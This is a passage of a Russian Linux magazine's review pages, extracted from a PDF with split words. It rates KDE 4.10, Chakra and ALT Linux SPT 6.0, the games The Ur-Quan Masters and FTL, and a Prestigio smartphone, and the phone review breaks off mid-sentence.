Про чие улуч шения
Стан дарт ная про грам ма для про смот ра 
PDF, Okular, те перь под дер жи ва ет ви зуа ли
за цию мо за ич но го ти па [tiled rendering], что 
по зво ля ет уве ли чи вать PDF свы ше 200 %, 
осо бо не на пря гая сис те му. Кро ме то го, 
ста ло про ще ори ен ти ро вать ся в ис то рии 
и улуч ши лась функ ция до бав ления за ме
ток, бла го да ря вве дению Qtablet Events. 

Фай ло вый менед жер Dolphin ввел под
дер жку MPT, об лег чив пе ре нос фай лов 
с те ле фо нов и дру гих уст ройств на Android. 
Па кет ное пе ре име но вание фай лов всегда 
сби ва ло с тол ку поль зо ва те лей Linux, 
а Dolphin по зво ля ет ис поль зо вать диало
го вую фор му или ре дак ти ро вать име на 
внут ри строч но. В Nepomuk, внут реннем 
ме ханиз ме хранения и се ман ти че  ско  го по
ис ка KDE, ис прав ле но бо лее 200 оши бок 
и внесе ны гло баль ные из менения. Но вый 
фай ло вый ин дек са тор, от бро сив ший ком
понен ты Strigi, те перь тес но ин тег ри ро ван. 
Он по зво ля ет фильт ро вать фай лы по ти
пу – на при мер, ис клю чить ис ход ный код.

Час то жа ло ва лись, что Nepomuk ужас но 
тор мо зит ра бо ту сис те мы. Это уч те но, и те
перь при пер вом сканиро вании ин дек са тор 
за по ми на ет толь ко име на фай лов и mime
ти пы. За тем ждет про стоя сис те мы, и лишь 
тогда пе ре хо дит к де таль ной ин дек са ции. 
Но вый ин ст ру мент, Nepomuk-cleaner, уда
ля ет невер ные дан ные из ба зы ин дек сов, 
по мо га ет из ба вить ся от тэ гов пусто го эле
мен та, объ е динить по вто ряю щие ся тэ ги 
и ме та дан ные, пе ренести дан ные из преж
ней сис те мы Akonadi и т. д.

Поль зо ва те лей KDE ждет еще немало 
при ят ных сюр при зов, ведь пе ре ход на QML 
сде ла ет его бо лее мо дуль ным, а зна чит, 
про ще рас ши ряе мым и под дер жи вае мым. 
В KDE на шли пра виль ный ба ланс ме ж ду 
внедрением но вых функ ций и улуч шением 
ста рых. |

KDE 4.10

Вкратце

» По след нее 
пред ло же ние 
от KDE впе чат-
ля ет не мень ше, 
чем пре ды ду щие� 
Кон ку рен ты и их 
вет ки — вне иг ры� 
См� так же: Xfce, 
Gnome�

Вердикт

KDE 4�10

Рейтинг 9/10

Раз ра бот чик: KDE

Сайт: www.kde.org

Це на: Бес плат но под GPL

Функ цио наль ность 6/10
Про из во ди тель ность 8/10
Удоб ст во ис поль зо ва ния 9/10
До ку мен та ция 9/10

» С не счет ны ми об нов ле ния ми, 

ис прав ле ния ми и но вы ми функ ция ми, 

4.10 да ет KDE еще од ну звез доч ку 

на по го ны.

> Ес ли при ят ное оформ ле ние ра бо че го сто ла за ста вит вас же лать боль ше го, в на строй ках 
Kwin мож но до ба вить до пол ни тель ные гра фи че ские эф фек ты�

Труд но пред ста вить за яд ло го кон соль щи ка, лю бя ще го KDE, но Ша шанк Шар ма 
както умуд ря ет ся. В от вет KDE рас кры ва ет ему все свои пре лес ти.

Свойства навскидку

Ин дек си ру ет бы ст рее
За пуск Nepomuk-cleaner 

улуч шит про из во ди тель

ность дан ной функ ции.

Панель ме ню — ра зумнее
Две но вых оп ции ме ню еще 

ну ж да ют ся в до ра бот ке, 

но уже вполне ра ду ют.
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П
о сле за груз ки уста но воч но
го дис ка ка жет ся, что пе ред ва
ми са мый обыч ный ди ст ри бу тив 

KDE. Ра зу ме ет ся, раз ра бот чи ки по ста ра
лись на счет кра со ты и эле гант но сти пря
мо из ко роб ки, но неу же ли это воз мес тит 
от сут ст вие гра фи че  ско  го менед же ра па ке
тов? Или на ли чие толь ко 64бит но го ISO?

Пред ставь те, да! За ис клю чением этих 
двух про блем, он прак ти че  ски безу пре
чен. За гру жа ет ся поч ти так же бы ст ро, 
как Puppy Linux, но, в от ли чие от это го 
иг ру шеч но го ди ст ри бу ти ва, раз во ра чи
ва ет ся в пол но функ цио наль ный ра бо чий 
стол KDE.

По ми мо по следней вер сии KDE 4.10, 
вы по лу чи те все но вей шие при ло жения 
KDE, в том чис ле па кет Calligra Office, ау
дио плей ер Amarok, ви део плей ер Dragon, 
ви део ре дак тор Kdenlive, вир ту аль ный гло
бус Marble и про чие.

Chakra – это ди ст ри бу тив, соз дан ный 
с ну ля, без ис поль зо вания GTK, и он идеа
лен для дости жения мак си маль ной про из
во ди тель но сти при ло жений на осно ве Qt. 
А зна чит, функ ции се те во го обо зре ва те ля 
бу дет вы пол нять Rekonq, а не Firefox, как 
в боль шин ст ве ди ст ри бу ти вов.

Но это ма лень кое недо ра зу мение лег ко 
уст ранимо. Са мые по пу ляр ные про грам
мы вклю че ны в ди ст ри бу тив в ви де ком
плек тов«пачек» [bundles], ко то рые мож но 
уста но вить одним щелч ком с по мо щью 
стан дарт но го при ло жения Bundle Manager. 

По ми мо Firefox, вы най де те там брау
зер Chromium, GIMP, Inkscape, Thunderbird, 

Pidgin, Xchat и да  же про прие тар ные 
при ло жения, та кие как Skype и Google 
Chrome. Что бы по лу чить боль ше, при дет
ся восполь зо вать ся кон соль ным менед
же ром па ке тов. По сло вам са мих соз да те
лей Chakra, ди ст ри бу тив пред на зна чен для 
тех, кто не бо ит ся команд ной стро ки. Так 
что хоть вам и уда ст ся доста точ но из влечь 
из гра фи че  ских средств, для эф фек тив
но го управ ления сис те мой без команд ной 
стро ки не обой тись.

Chakra ис поль зу ет по лусколь зя щий ре
лиз: при ло жения об нов ля ют ся доста точ но 
бы ст ро, но са ма сис те ма спер ва про хо дит 
тща тель ное тес ти ро вание. Мож но об но
вить ся пол но стью все го од ной ко ман дой. 
По ка их соб ст вен ный па кет ный менед жер, 
Akabei, так же имею щий гра фи че  ский ин
тер фейс, на хо дит ся в раз ра бот ке, в ди ст
ри бу ти ве ис поль зу ет ся Pacman от Arch. 

При нять ко ман до вание
Возник нув некогда как вет ка Arch, Chakra 
при нял в на след ст во не толь ко Pacman, 
но и муд рость не ре шать ниче го за поль зо
ва те лей. И хо тя Chakra не столь ас ке ти чен, 
раз пред ла га ет го то вый ра бо чий стол пря
мо из ко роб ки, но по зво ля ет на стро ить ра
бо чий стол на свой вкус.

По сле уста нов ки сис те мы вас при
вет ст ву ет менед жер пер со наль ной на
строй ки под на званием Kapudan. Это рас
ши рен ная вер сия при ло жения Kaptan, 
из ныне пре бы ваю ще го в спяч ке Pardus 
Linux. С по мо щью Kapudan, вы мо же те на
стро ить все са мые важ ные ком понен ты 
стан дарт но го ра бо че го сто ла KDE и коечто 

еще. Но вич ки мо гут соз да вать от дель ные 
пап ки, та кие как За груз ки, Ви део, Му зы
ка, Кар тин ки и т. д.; на страи вать по ве дение 
мы ши; вы би рать те му оформ ления и обои; 
оп ре де лять ко ли че  ст во вир ту аль ных ра бо
чих сто лов и да же вы би рать из раз ных ва
ри ан тов стар то во го ме ню для KDE. 

За тем вы мо же те на стро ить ме ст ный 
менед жер об нов лений, spun, что бы он ав
то ма ти че  ски про ве рял их на ли чие, а так же 
за дать по ли ти ку уве дом лений. Кро ме то го, 
Kapudan по зво ля ет вклю чить имею щий ся 
в ком плек те меж се те вой эк ран UFW, а так
же ан ти ви русный сканер ClamAV.

Chakra 2013.2 оп рав ды ва ет все ожи
дания. Ес ли вы не бои тесь команд ной 
стро ки и хо ти те по лу чить пер во класс
ную сис те му KDE, то Chakra 2013.02 – для 
вас. |

Chakra 2013.02

Вкратце

» Не за ви си-
мый ди ст ри бу тив 
на ба зе KDE, вос-
хо дя щий к Arch 
Linux� Cм� так же: 
Sabayon, Mageia�

Вердикт

Chakra Linux 2013�02

Рейтинг 8/10

Раз ра бот чик: The Chakra Project

Сайт: www.chakraproject.org

Ли цен зия: Раз лич ные сво бод ные 
ли цен зии

Функ цио наль ность 8/10
Про из во ди тель ность 10/10
Удоб ст во ис поль зо ва ния 8/10
До ку мен та ция 9/10

» Ди ст ри бу тив на ба зе KDE, пре

дос тав ляю щий бы ст рый и кра си

вый ра бо чий стол. Поль зо ва те ли KDE 

обя за ны по про бо вать.

> По след ний ре лиз Chakra пред став ля ет но вый KDE во всей кра се�

Его про воз гла си ли луч шим ди ст ри бу ти вом на ба зе KDE. Ма янк Шар ма вре мен но 
от ста вил свой ра бо чий стол Gnome, что бы ис пы тать Chakra.

Свойства навскидку

Ра бо чий стол KDE 4�10
Дистрибутив Сhakra всегда 

пер вым по став ля ет но вей

шие ре ли зы KDE.

Класс ный менед жер 
на строй ки
Kapudan по мо жет на стро

ить важ ные ас пек ты ра бо че

го сто ла.

http://www.accountz.com/
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A
LT Linux СПТ 6.0 сер ти фи ци
ро ван по 4 клас су за щи щен
но сти от НСД и про шел про

вер ку на от сут ст вие НДВ по 3 уров ню 
кон тро ля. Т. е. мо жет ра бо тать с дан ны
ми, со став ляю щи ми го су дар ст вен ную тай
ну и имею щи ми гриф до «Сек рет но» вклю
чи тель но, и об ра ба ты вать пер со наль ные 
дан ные клас са К1. ПО, вхо дя щее в со став 
ди ст ри бу ти ва, не на зовешь су пер со вре
мен ным – ви ди мо, раз ра бот чи ки соч ли, 
что луч шее – враг хо ро ше го. К то му же 
сер ти фи ка ция тре бу ет вре мени, а по сле 
нее вно сить ка киели бо из менения нель зя. 
Что же это за па ке ты? 

Пе ре чис лим са мые основ ные:
» Яд ро 2.6.32el – су дя по час ти це el, взя ты 
пат чи от RHEL6.

Кли ент ское ПО:
» Ста рый до б рый Gnome 2.32.1
» LibreOffice 3.4
» Firefox 10

Сер вер ное ПО:
» Apache – как 1.3.42, так и 2.2.22
» Samba 3.5.14

При за груз ке с DVD (доступ ны как ре
жим LiveDVD, так и обыч ная уста нов ка) 
вы ле за ло со об щение, что диск не мо жет 
быть про чи тан, но по сле на жа тия кноп ки 
Retry за груз ка про дол жа лась.

Про грам ма уста нов ки доста точ но про
ста, хо тя этап вы бора про филя уста нов ки 
немно го неин туи ти вен – под «про фи лем» 
под ра зу ме ва ет ся спо соб раз биения дис ка 
на раз де лы. Радует воз мож ность ав то
ма ти че  ской генера ции па ро лей, при чем 
удо бо чи тае мых. Ус та нов ка длит ся око ло 
40 ми нут; но и па ке тов доста точ но мно го. 
По сле за вер шения уста нов ки ло ток с DVD 
не вы дви нул ся – хотя такое реа ли зо ва но 
во всех со вре мен ных ди ст ри бу ти вах. 

Плюсы и минусы
Пер вая за груз ка занима ет ми ну ты две, что 
по со вре мен ным мер кам мно го ва то: ис
поль зу ет ся init, а не но во мод ный upstart.

В слу чае вы бо ра про фи ля «ра бо чая 
стан ция» по сле за груз ки и вхо да в сис
те му появится ничем не при ме ча тель ный 
Gnome 2 – раз ве что, вглядевшись, мож но 
ви деть внизу сле ва ин ди ка тор рас клад ки 
кла виа ту ры. Кста ти, о ру си фи ка ции: ка че
 ст во оной остав ля ет же лать луч ше го. Нет, 
пе ре вод сде лан на уровне, но тот факт, 
что неко то рые при ло жения (хотя бы ути

ли та Privilege Granting) ще го ля ют бур
жуй ским язы ком, в то вре мя как ди ст ри бу
тив россий ский, несколь ко огор ча ет.

В ка че  ст ве сред ст ва за пуска ути лит 
с по вы шен ны ми при ви ле гия ми по умол
чанию ис поль зу ет ся su, а не sudo.

А что у нас с кон фи гу ра то ра ми? По ми мо 
стан дарт ных, из со ста ва Gnome досту пен 
гра фи че  ский кон фи гу ра тор acc от раз ра
бот чи ков ди ст ри бу ти ва. Ни че го ар хиосо
бен но го с его по мо щью сде лать нель
зя – ти пич ный на бор дей ст вий по доб ных 
ути лит: до бав ление поль зо ва те лей, опе ра
ции с се тью, уста нов ка па ке тов...

Го во ря о па ке тах: в ALT Linux тра ди ци он
но применя ет ся apt по верх RPM. По пыт ка 
уста но вить па кет в дан ном ди ст ри бу ти ве 
оберну лась про бле мой: офи ци аль ный се
те вой ре по зи то рий, похоже, досту пен 
толь ко плат ным подпис чи кам, а в гра фи
че  ском кон фи гу ра то ре не бы ло ниче го 
по части уста нов ки с DVD. Как вы яснилось, 
для ис поль зо вания DVD в ка че  ст ве ис
точника па ке тов надо бы ло рас ком мен ти
ро вать строч ку в фай ле /etc/apt/sources�
list�d/sources�list, и тогда все за ра бо та ло. 
Муль ти ме диа ра бо та ет на ура – все ви део 
и ау дио ко де ки есть (во вся ком слу чае, 
MP3 и наши кли пы иг ра ли пре восход но).

ALT Linux – един ст вен ный из из вест ных 
нам ди ст ри бу ти вов, ко то рый ис поль зу ет 
мо дель хранения па ро лей tcb вме сто стан
дарт но го фай ла shadow. Суть здесь в том, 
что в ка та ло ге /etc/tcb ка ж до му поль зо ва
те лю со от вет ст ву ет свой ка та лог с фай лом 

па ро ля вме сто од но го фай ла shadow. Раз
ра бот чи ки уверяют, что так безо пас нее.

По умол чанию па ке ты по ли тик SELinux 
не уста нав ли ва ют ся ни в ва ри ан те «Сер
вер», ни в ва ри ан те «Ра бо чая стан ция». 
И это странно, ведь при сер ти фи ка ции 
по 4 клас су за щи щен но сти от НСД ман
дат ная сис те ма кон тро ля досту па необ хо
ди ма – логич но по ла га ть, что SELinux бу
дет при сут ст во вать сразу по сле уста нов ки. 

Авторы до ку мен та ции (име ет ся на от
дель ном дис ке) умуд ри лись в сжа том ви
де из ло жить все необ хо ди мое.

ALT Linux СПТ 6.0 пригодится там, где 
не обой тись без сер ти фи ка ции. Для до
машнего исполь зо вания он то же прием
лем, но не бо лее дру гих. |

ALT Linux 6.0 СПТ

Вкратце

» Рос сий ский ди-
ст ри бу тив, сер-
ти фи ци ро ван-
ный ФСТЭК� См� 
так же: RHEL, 
Astra Linux�

Вердикт

ALT Linux СПТ 6�0

Рейтинг 8/10

Раз ра бот чик: Ко ман да Альт Ли нукс

Сайт: altlinux.org

Це на: 3000 руб.

Функ цио наль ность 8/10
Про из во ди тель ность 8/10
Удоб ст во ис поль зо ва ния 8/10
Оп рав дан ность це ны 7/10

» Креп кий сред ня чок, но за Gnome 2 

мно гое мож но про стить.

> В Alt Linux ис поль зу ет ся ста ри на Gnome 2�

Дан ная вер сия сер ти фи ци ро ва на ФСТЭК. Ро ман Яры жен ко смот рит,  
со от вет ст ву ет ли она за яв лен ным тре бо ваниям.
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Э
то во всех смыс лах фан та сти че
 ское при клю чение с от кры тым 
ис ход ным ко дом. Здесь нет кра

си вых косми че  ских пей за жей, лас каю щих 
взгляд 3Dмо де лей ко раб лей, гром ких 
цве та стых взры вов в без воз душ ном про
стран ст ве, за то налицо креп ко сби тая за
во ра жи ваю щая ис то рия, сотни планет ных 
сис тем для ис сле до вания, бо лее двух де
сят ков ино планет ных рас и, конеч но же, 
воз мож ность спа сти Че ло ве че  ст во!

Пред те ча The Ur-Quan Masters, иг ра 
Star Control II, бы ла вы пу ще на бо лее два
дца ти лет на зад, в 1992 го ду. Пред став
лен ная об ще ст вен но сти все лен ная да ле
ко не бес конеч на, но доста точ но об шир на, 
что бы помнить все ню ан сы. При ее ис сле
до вании и раз го во рах с ино планетя на
ми всегда сле ду ет дер жать лис тик бу ма
ги и руч ку для за пи си об рыв ков по лез ной 
ин фор ма ции. Это ста рая шко ла – ника ких 
элек трон ных жур на лов, толь ко па мять. 

Чу жа ки – это со вер шен но от дель ная 
те ма. Они раз ные... Мои пер вые воспо
ми нания об этой все лен ной, свя зан ные 
имен но с ком мер че  ской ин кар на ци ей 
The Ur-Quan Masters, весь ма об ры воч ны – 
бу к валь но на уровне ощу щений. Пом ню, 
что ес ли дол го ле теть до пра во го края кар
ты, то мож но на ткнуть ся на чу ди ков в це
пях, ме няю щих раз но го ро да бле стюч ки 
и то п ли во в об мен на чле нов эки па жа, 
обе щая им достой ную служ бу. Поз же вы
яснилось, что это ра бо тор гов цы, ко то рые 
втю хи ва ют за лет ным ло хам вся кий хлам 
в кра си вой оберт ке. На стоя щее ней траль
ное зло. В иг ре встре ча ют ся чу жа ки всех 
цве тов и от тен ков ми ро воз зрения; прав
да, не всегда их уда ет ся отнести к то му или 
ино му ти пу. Те же мол лю ски Спа ти [Spathi] 
иг ра ют на сто роне пло хих парней, но злом 
их на звать – язык не поворачива ет ся. Обя
за тель но ис сле дуй те Плу тон в Солнеч ной 
сис те ме – не уби вай те Фвиф фо, но при гро
зи те ему, и вы пой ме те что я имел в ви ду. 

С глав ны ми ан та гониста ми 
то же не все так про сто. Ур
Ква ны [UrQuan] вы гля дят 
и ве дут се бя как злоб ные 
и по сле до ва тель ные ксе но
фо бы, но дав нымдав но Ур
Ква ны вхо ди ли в со об ще ст во 
мир ных ци ви ли за ций, где 
иг ра ли роль рейнд же ров – 
косми че  ских ис сле до ва те лей 
и за щитников. По че му все 
так по ме ня лось? Эта ин фор
ма ция со вер шен но не обя за
тель на для за вер шения иг ры, 
но при да ет ей непе ре да вае
мую ат мо сфер ность.

В 2002 го ду из на чаль ные раз ра бот чи
ки Star Control II вы пусти ли код движ ка 
под сво бод ной ли цен зи ей GPL, а ее иг ро
вую на чин ку – под от кры той ли цен зи ей cc
byncsa, раз ре шаю щей мо ди фи ка цию, 
но ог раничи ваю щей ком мер че  ское ис
поль зо вание про из вод ных. Сей час слож но 
най ти ди ст ри бу тив, в ко то ром от сут ст ву ет 
эта иг ра. Ус та нов ка и за пуск иг ры в сре де 
Ubuntu 12.04 вы гля дит при мер но так:
> sudo aptitude install uqm uqmcontent 
uqmmusic uqmvoice
> uqm

Не по жа лей те дис ко во го про стран ст ва 
под оз вуч ку. Ка ж дый из чу жа ков име ет 
свой го лос и свое об раз ный ак цент. Су
ще ст ву ет русский пе ре вод –
> sudo aptitude install uqmrussian
> uqm_russian 

Ес ли вы хо да нет, берите его. Про бле ма, 
как обыч но, в шриф тах. Во вре ме на DOS 
ка ж дая иг ра та щи ла с со бой свои ри со
ван ные шриф ты. Ки рил ли цы, понят но, 
в них не бы ло. Ины ми сло ва ми: чи тать 
на русском мож но, но малоком форт но. 

Вер сия, ко то рая сто ит в ди ст ри бу ти ве 
Ubuntu 12.04, несколь ко уста ре ла, но со
вер шен но иг ра бель на, хо тя и но сит в се
бе боль ше ба гов, чем по следний ре лиз. 
Есть еще на хо дя щий ся в аль фаста дии, 
неспеш но раз ви ваю щий ся про ект UrQuan 
Masters HD. Его цель – при бли зить гра фи
ку, оп ти ми зи ро ван ную для VGA (640 × 480), 
к со вре мен ным реа ли ям. 

Управ ление спар тан ское – толь ко кла
виа ту ра. Иг ра име ет несколь ко ре жи мов. 
Фор маль но это квест с эле мен та ми ар ка ды 
и ро ле вой иг ры. Для управ ления ко раб лем 
в ре жи ме ар кад ных бо ев по умол чанию 

ис поль зу ют ся стрел ки для по во ро тов 
и уско рения, а так же Ctrl и Shift для основ
ной и до полнитель ной ата ки. По трениро
вать свои на вы ки мож но в ре жи ме Super 
Melee. При про хо ж дении кве ста луч ше из
бе гать драк и на си лия: ко раб ли сто ят де
нег, а эки паж, хоть и пред став ляе мый в ви
де на бо ра то чек – всета ки ваш эки паж. 
При сбо ре минера лов и от стре ла жи вот ных 
на планетах, кро ме стре лок и Ctrl, помните 
о кла ви ше Esc для сроч ной эва куа ции, так 
как по год ные и тек тониче  ские усло вия мо
гут быть весь ма убий ст вен ны; а по са доч
ные мо ду ли не бес плат ны. 

Па ра спой ле ров под конец: 17 чис ла ка
ж до го ме ся ца по ко ор ди на там (43.8, 637.2) 
на три дня от кры ва ет ся про ход в ква зи
космос. Ги пер космос до воль но быстр, 
но вре мя на про хо ж дение кве ста ог раниче
но, по это му ква зи космос – это спа сение. 
И да, во всем ви но ва ты «Гип но жа бы»!!! |

The Ur-Quan Masters

Вкратце

» Фан та сти че-
ский квест, ана-
ло гов ко то ро-
го я с на де ж дой 
жду поч ти два д-
цать лет�

Вердикт

The Ur-Quan Masters

Рейтинг 8/10

Раз ра бот чик: Toys for Bob и сво бод ное 
со об ще ст во

Сайт: http://sc2.sourceforge.net//

Це на: 0 в поч ти лю бом ди ст ри бу ти ве 
из ко роб ки

Сю жет 10/10
Гра фи ка 5/10
Ув ле ка тель ность 9/10
Оп рав дан ность це ны 10/10

» Гра фи ка всета ки 1992 го да,  

но ше дев ром это быть не ме ша ет.

> Зем ля под раб ским щи том� Толь ко ты смо жешь спа сти 
че ло ве че ст во!

> Глав ный враг, 
а ря дом с ним 
«гип но жа ба»!

Ев ге ний Бал дин за во ро жен кар ти ной пла нет ных сис тем, но вы ну ж ден опа сать ся 
жут кой гип но жа бы...
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Э
та иг ра – не пер вая с под держ
кой GNU/Linux, ко то рая вы шла 
из мас тер ских kickstarter, но пер

вая из го тов лен наяй Linuxиг ра из про
фи нан си ро ван ных в 2012 го ду, в мо мент 
свое об раз но го иг ро во го ренес сан са. Два 
ре зи ден та Шан хая, Мэ тью Дэ вис [Matthew 
Davis] и Джа стин Ма [Justin Ma], вы стре
ли ли сво им пред ло жением очень удач но, 
неде ли че рез две по сле три ум фаль но го 
стар та ве те ра на иг ро ст роя Ти мо ти Шей фе
ра [Timothy Shaffer] с Double Fine Adventure. 
На волне ин те ре са к про ек там Kickstarter 
FTL со брал $ 200 тыс. – в 20 раз боль ше, 
чем ожи да ли раз ра бот чи ки. 

В от ли чие от ряда дру гих, оша лев ших 
от сва лив ше го ся на них денеж но го изо
би лия kickstarter’овских сча ст лив чи ков, 
схва тив ших уда чу за хвост, Джа стин и Мэ
тью не ста ли гнаться за раз мером, слож
ностью и гра фи че  ским пред став лением 
иг ры, а сда ли про ект по пла ну в кон це ле
та – в точ но сти та ким, ка ким обе ща ли. Вы
шел ни на что не по хо жий ше девр в сво ем 
дефак то но вом иг ро вом жан ре –  «косми
че  ско  го ро га ли ка». 

Сис тем ные тре бо вания иг ры из бо
лееменее со вре мен но го же ле за не по
тянут раз ве что нетбу ки с раз ре шением 
эк ра на ху же чем 1280 × 720. На ре каний 
в ра бо те под GNU/Linux у ме ня не бы ло. 
Ми нус для русско го во ря щей иг ро вой пуб
ли ки – от сут ст вие пе ре во да. Но этот барь
ер невысок: школьники средней и млад
шей шко лы вряд ли за ин те ре су ют ся такой 
иг рой, а для по ко ления постар ше неслож
ные диа ло ги не вы зо вут осо бых про блем.

Иг ра по лу чи ла мас су по зи тив ных от
зы вов в иг ро вых из даниях, но миниро ва на 
на кучу пре мий и бы ст ро обросла нема
лым со об ще ст вом. Она од но поль зо ва
тель ская, без трех мер ной гра фи ки, ме
ханика ее очень про ста, од но про хо ж дение 
длит ся недол го, так как ма лей шая ошиб
ка – и от лич но го космолета оста ют ся рож
ки да нож ки, и смерть там на стоя щая, ибо 
со хранения нет, а есть толь ко «за мо ра жи
вание». Что там об су ж дать да на хва ли
вать? По про бу ем ра зо брать ся...

Идея ме ханики иг ры восхо дит к на
столь ным иг рам. Иг ро ку выда ется ко
рабль и со об щается, что толь ко он мо жет 
спа сти че ло ве че  ст во, то есть Фе де ра цию, 
от злоб ных ре во лю ционеров. Для это го 
он дол жен с по мо щью сверх све то во го 

движ ка доп ры гать до дру го го края га
лак ти ки. У ко раб ля есть ору жие, за щи та, 
ко ман да, а так же вспо мо га тель ные сис
те мы. От звез ды к звез де он пе ре дви га ет
ся за один ход. Жизнь услож ня ет то, что 
сза ди на го ня ет флот пов стан цев. Не все 
необ хо ди мое для про хо ж дения выдано 
в на ча ле, и недостаю щие сис те мы, а так же 
бо лее мощ ное ору жие при дет ся до би рать 
в по ле те, как но вые ме чи и бро ню в обыч
ных ро га ли ках. Ре сур сы на это до бы ва
ют ся в основ ном в бо ях, по это му не стоит 
бы ст ро скакать от стар та до пе ре хо да 
в сле дую щий сек тор, а не мешает об сле
до вать столь ко сис тем, сколь ко уда ст ся 
до при бы тия пов стан цев. 

Прыгая к но вой звез де, мы поч ти на вер
ня ка ко гото встре ча ем. Обыч но нас тут 
не лю бят, по это му по сле ко рот ко го раз
го во ра или да же без него на чи на ет ся бой. 
Цель боя – пре одо леть за щи ту про тивника 
с по мо щью тор пед, ла зе ров, бомб, плаз мы 
и вы бить из вра же ско го ко раб ля все хи ты, 
по воз мож но сти не да вая по вре дить се бя: 
ма га зи ны, где мож но по чинить ся, встре
ча ют ся не так что бы час то. Про тивника 
мож но взять на абор даж с по мо щью те ле
пор та то ра или на пустить на него дро нов, 
ну или про сто сбе жать с по ля боя. Ка ж дое 
от дель ное дей ст вие несложное, но чис ло 
их воз мож ных ком би на ций впе чат ля ет. 
Так, возник ший по жар мож но по ту шить, 
от крыв шлю з в космос. Сво их де сантников 
на чу жом ко раб ле мож но исцелить лекар
ственной спе ц бом бой, а ору жие луч ше вы
стре ли вать зал пом – что бы нанес ти урон, 

по ка щи ты не по ды мут ся.  Но все это ме
ло чи на фоне мно го об ра зи я слу чай ных 
со бы тий, пе ре жи ваемых по сле ка ж до го 
прыж ка. Диа ло ги с про тивника ми, со юз
ника ми, кон тра бан ди ста ми, пи ра та ми, 
уче ны ми, тор гов ца ми или свя щенника ми 
не очень длин ные, зато их ва ри ан тов – ты
ся чи. При чем масса ве ток диа ло гов по яв
ля ет ся толь ко при неких усло ви ях (синие 
вет ки), в за ви си мо сти от  обо ру до вания ко
раб ля, или наличия сре ди эки па жа пред
ста ви теля нуж ной ра сы, или вашего пове
дения при про шлом слу чай ном со бы тии. 
От вы бо ра за ви сит сте пень немед лен но го 
воз на гра ж дения, на ка зания или бо га тых 
по дар ков в ви де но вых ти пов ко раб лей – 
на ни х мож но снова по про бо вать до стать 
глав га да, крутого неимо вер но! |

FTL: Faster Than Light

Вкратце

» Пры га ем 
от звез ды к звез-
де и на би ра ем 
мощь что бы спа-
сти все лен ную!

Вердикт

FTL: Faster Than Light

Рейтинг 8/10

Раз ра бот чик: Subset Games

Сайт: http://www.ftlgame.com

Це на: $ 10 на сай те раз ра бот чи ков 
или 249 руб. в Steam

Сю жет 6/10
Гра фи ка 6/10
Ув ле ка тель ность 10/10
Оп рав дан ность це ны 10/10

» Ше девр сре ди кос ми че ских 

ро га ли ков.

> Пе ред прыж ком к глав но му бос су� Сей час нас бу дут дей ст ви тель но уби вать� 

Иг рать так иг рать, ре шил Ев гений Бал дин и уст ре мил ся в от кры тый космос,  
что бы по бо роть зло кознен ных пов стан цев.
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В
 России Prestigio из вест на в пер
вую оче редь свои ми недо ро ги ми 
и ка че  ст вен ны ми GPSна ви га то

ра ми, а вот смарт фо ны – но вая для ком
пании ниша.

И те ле фон удал ся. От лич ный эк ран 
на IPSмат ри це пре крас но пе ре да ет цве та, 
так тиль но безу пре чен, бы ст ро реа ги ру ет 
на лю бое ка сание, в ру ке ле жит пре крас
но, хо тя зад ней стен ке не помешает менее 
скольз кое по кры ти . Раз мер эк ра на – то, 
что на до: 4,3 дюй ма (10,9 см); ес ли сде лать 
его боль ше, то лич но мне дер жать в ру ке 
та кой те ле фон бу дет уже неудоб но. Раз
ре шение мат ри цы дис плея – 800 × 480 то
чек, он ем ко ст ный, применяет тех но ло гию 
multitouch, под дер жи вая до 5  ка саний од
но вре мен но, ото бра жа ет чуть ли не 16 млн 
цве тов. Но по стой те, это уже нау чи лись 
де лать все? Да, но не за та кие день ги: це на 
Prestigio MultiPhone 4300 DUO стар ту ет 
с от мет ки 6570 руб лей при по куп ке в Ин
тернете. Во вре мя тес ти ро вания не бы ло 
ниче го, че го не хва та ло бы в эк ране – все 
бы ло как на до ро гих смарт фо нах.

К то му же в нем есть мно го че го еще, 
за что иные про из во ди те ли про сят в два, 
а иногда и в триче ты ре раза боль шую 
це ну! Те ле фон ра бо та ет на од но ядер ном 
про цес со ре ARM Cortex A9 так то вой час
то той 1 ГГц – до воль но шу ст ро, ес ли не иг
рать в иг ры. За гра фи ку от ве ча ет ви део чип 
PowerVR SGX Series 5, по зво ляя смот реть 
ви део вы со кой чет ко сти (до 1080p).

ОЗУ на 512 МБ то же вполне доста точ
но для ре шения прак ти че  ски всех за дач, 
мыс лимых на смарт фоне. Есть встро ен ная 
па мять на 4 ГБ, из ко то рых поль зо ва те лю 
доступ но при мер но 2,5. И са мое ин те рес
ное – в ап па рат мож но вста вить две SIM
кар ты и две кар ты па мя ти ти па SDHC или 
SDXC, уве ли чив тем са мым объ ем сум мар
ной энер гонеза ви си мой па мя ти до 64 ГБ!

Ка мер у смарт фо на тоже две – фрон
таль ная на 300 ты сяч пик се лей и основ
ная – аж на 5 мил лио нов. Обе ра бо та
ют без на ре каний, штат ный «фо то граф» 
Android ни ра зу не под вел. Правда, не хва
та ет нор маль ной же ст кой фо ку си ров ки 
основ ной ка ме ры (ав то фо кус не са мый 
луч ший). Но сним ки по лу ча лись вполне 
чет кие, и цве та бы ли соч ны ми и яр ки ми.

Для свя зи с внешним ми ром есть 
Bluetooth, WiFi и 3G. Не за блу дить ся в го
ро де по зво лит GPS и встро ен ный на ви га
тор от Google.

Внут ри Prestigio MultiPhone 4300 DUO 
уста нов лен стан дарт ный Android 4.0, ав то
ма ти че  ски об нов ля емый до 4.0.3 при пер
вом же под клю чении к Се ти. Про грам мы 
все те же, что и на дру гих те ле фо нах, 
а заодно есть па роч ка фир мен ных при
ло жений от Prestigio – книж ный ма га зин 
Prestigio Book Store, где мож но ку пить кни
ги и жур на лы и тут же на чать чи тать их, 
а так же про грам ма, по зво ляющая за гру
зить и уста но вить дру гие фир мен ные при
ло жения от Prestigio, в частности, об лач
ный офис ный па кет – GO!Enterprise Office 
для бизнесполь зо ва те лей. Все ра бо та ет 
бы ст ро и без тор мо зов. 

Но что действительно поражает, так это 
24 ме ся ца все мир ной га ран тии! 

Един ст вен ный боль шой ми нус это го те
ле фо на, об на ру жен ный за поч ти ме сяц 
тес ти ро вания – ма лая ем кость ак ку му ля
то ра, все го 1500 мАч. Во вре мя тес ти ро
вания его по сто ян но при хо ди лось за ря
жать, иногда по два раза на дню. И это ес ли 
не смот реть HDви део и не иг рать в иг ры.

Похоже, смарт фо ны достиг ли пи ка 
сво его раз ви тия в плане техниче  ско  го 
осна щения: ка ме ры, эк ра ны, про цес со
ры, па мять – все уже с лих вой по кры ва ет 
